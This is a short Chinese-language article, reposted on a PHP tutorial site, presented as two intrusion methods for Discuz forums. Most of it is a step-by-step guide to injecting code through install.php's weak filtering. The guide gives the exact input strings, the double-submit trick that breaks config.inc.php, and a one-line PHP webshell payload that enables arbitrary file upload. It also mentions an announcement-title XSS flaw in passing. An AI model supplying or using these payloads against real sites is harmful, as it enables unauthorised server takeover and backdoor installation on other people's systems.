两种Discuz网站漏洞的入侵方法_PHP

WBOY
Freigeben: 2016-06-01 12:25:34
Original
2739 Leute haben es durchsucht

鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
<font color="#000000"> <font color="#0000BB">$configfile </font><font color="#007700">= </font><font color="#0000BB">preg_replace</font><font color="#007700">(</font><font color="#DD0000">"/[$]dbhosts*=s*[\"'].*?[\"']/is\", \"$dbhost = '$dbhost'\", $configfile); <br><br>$configfile = preg_replace(\"/[$]dbusers*=s*[\"'].*?[\"']/is\", \"$dbuser = '$dbuser'\", $configfile); <br><br>$configfile = preg_replace(\"/[$]dbpws*=s*[\"'].*?[\"']/is\", \"$dbpw = '$dbpw'\", $configfile); <br><br>............</font> </font>
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

<font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;?></font> </font>
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现

<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>'</font>

这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

<font color="#000000"> <font color="#0000BB">$dbhost </font><font color="#007700">= </font><font color="#DD0000">'a'</font><font color="#007700">;</font><font color="#0000BB">?></font>';?>';</font>

这样的情况,但现在是却是一种 这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入:<font color="#000000"> <font color="#0000BB">a</font><font color="#007700">'</font><font color="#0000BB">;copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?></font> </font>
重复写入两次就可以通过install.php上传php后门了。

鸡肋2:后台的发公告的标题存在跨站漏洞。

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!